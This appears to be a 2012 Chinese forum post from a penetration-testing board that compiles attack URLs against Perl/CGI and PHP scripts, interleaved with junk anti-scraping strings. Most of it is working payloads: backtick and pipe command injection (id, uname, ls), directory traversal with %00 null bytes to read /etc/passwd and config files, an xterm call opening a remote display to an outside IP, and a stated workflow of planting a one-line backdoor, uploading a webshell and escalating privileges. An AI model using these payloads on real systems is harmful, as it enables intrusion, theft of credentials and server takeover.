中国网络渗透测试联盟
标题:
CGI资料整理
[打印本页]
作者:
admin
时间:
2012-9-13 16:56
标题:
CGI资料整理
总体思路,跳过限制,查看敏感文件和密码相关文件。写入一句话cgi,进后台试传webshell(后台如果加验证或者MD5过的时候,可以试着
4 `/ W% Z% i% A# Z1 O, X: }
cookies欺骗,本地提交),寻找可执行的目录和相关函数,拿shell…………》提权
, x/ M* ^2 v+ w6 D; w9 e
感谢EMM和ps的睿智和他们高超的脚本技术,还有以前老红4的脚本群英和国外的那些牛淫们
# t" C$ s( Z6 o1 O0 u Y
注“
. p8 j; G4 E7 ]% A0 I) T
perl脚本的漏洞大多出在open()、system()或者 ’’调用中。前者允许读写和执行,而后两个允许执行。
. _9 I8 M( H Y8 c2 x
以POST的方法发送表格的话,就不能蒙混过关(%00将不会被解析),所以我们大部分用GET
# i' k) z$ D8 y7 m/ K0 a# j1 R$ F
1 t7 z c! e" A! P$ c
http://target.com/cgi-bin/home/news/sub.pl?12
随意构造
; n3 n& [% h6 G: L v# @
http://target.com/cgi-bin/home/news/sub.pl?&
换个字符,也许可以执行呢
6 n. m6 ^! l7 U8 y
http://target.com/cgi-bin/home/news/sub.pl?`ls`
单引号
Z5 i M0 K9 c0 c! o/ Q! f
http://target.com/cgi-bin/home/news/sub.pl?`id`
* r# I* N2 X: P4 ]1 H
http://target.com/cgi-bin/home/news/sub.pl?`IFS=!;uname!-a`
" _! J9 s8 X+ P
http://target.com/cgi-bin/home/news/sub.pl?`cat
<’/home1/siteadm/cgi-bin/home/news/sub.pl’` 非常好的思路,把代码cat回来显示
; H5 P6 u {0 Q
( X, X+ G, \0 J
http://target.com/test.pl;ls
|
4 g5 C+ S; b+ q- Z* o
http://target.com/index.cgi?page=
|ls+-la+/%0aid%0awhich+xterm|
1 I# v( E& Q/ j! T3 l
http://target.com/index.cgi?page=
|xterm+-isplay+10.0.1.21:0.0+%26|
2 r! V. y/ u- p8 j
http://target.com/test.pl?
’id’ 类似’’内的操作和命令执行自己构造
! E1 x, v' w% q% E; A. C
比如:cat<’/home1/siteadm/cgi-bin/home/news/test.pl’` 把pl代码显示出来。
0 d3 ]. l# k e4 F2 G
http://target.com/index.cgi?page=;dir+c:
\|&cid=03417 类似asp的Sql injection
, m1 J8 u. F' g9 m/ H4 O5 {! U
/ C9 L- n6 D+ H9 L
http://target.com/test.pl?&........
/../../etc/passwd
2 G P5 S% P7 Z+ ~
# ^* Z( P+ q) \5 m
http://www.target.org/cgi-bin/cl
... info.pl?user=./test 前面加./
. \! I$ q- K l/ d/ {2 P1 X4 e
http://www.target.org/cgi-bin/cl
... nfo.pl?user=test%00 注意后面的 %00 别弄丢了
! j* l7 ]' M" Y; _1 v/ j
http://www.target.org/cgi-bin/cl
... ../../etc/passwd%00
% I/ N# w) n7 [2 B, v
: U% R9 o3 [9 e9 q. a. n
http://www.target.org/show.php?f
... /include/config.php 查看php代码
; `; K' }) F, Z, f
http://www.target.org/show.php?f
... ng/admin/global.php
8 N! v$ U. z) t u
: x: I1 E1 ^* e J3 Y( @) P
emm和ps的一句话
& q! N& k# g! T7 a/ v; F o
$ ]6 q$ C1 c! p* z
http://www.target.org/cgi-bin/cl
... /../../../bin/ls%20
2 z0 M3 ~- I+ l: U/ L
5 x0 M3 P3 M/ ?/ o7 ^, G
>bbb%20|
7 u$ p( Z8 n9 S* V, d6 P5 X6 O. W
7 p# K6 h/ x$ e4 u
http://www.target.org/cgi-bin/club/scripts
\’less showpost.pl\’ 并且寻找(用\’/\’)\’Select\’ 字符串
4 c) n" y# t6 Y3 n& Y$ x1 L, g
, e+ j; P! ?9 N7 N: c
http://www.target.org/cgi-bin/cl
... bin/sh.elf?ls+/http 这里的是elf是CCS中文linux操作系统特征
2 \ ]/ W# _: E" |
http://www.target.org/csapi/..%c0%afhttp/china.sh
”+.elf?”+&+ls+/bin
$ ?- P$ o7 K; L& J' v" b/ d* t0 d
0 c# ~# u& Z) P
相关html为后缀的脚本技术,继续深挖中,但是不可质疑的是提交数据查询语句也是一种完美的方法
7 I5 P! |# g, U/ O( j2 ^
http://target.com/index.html#cmd.exe
2 `( N: {4 @9 ^0 O* f2 Z4 i
http://target.com/index.html?dummyparam=xp_cmdshell
3 u3 X8 T7 z& }- U* c/ f( b
lynx
http://target.com/cgi-bin/htmlscript?../../../../etc/passwd
7 Z& |! v0 b8 Q$ |
欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/)
Powered by Discuz! X3.2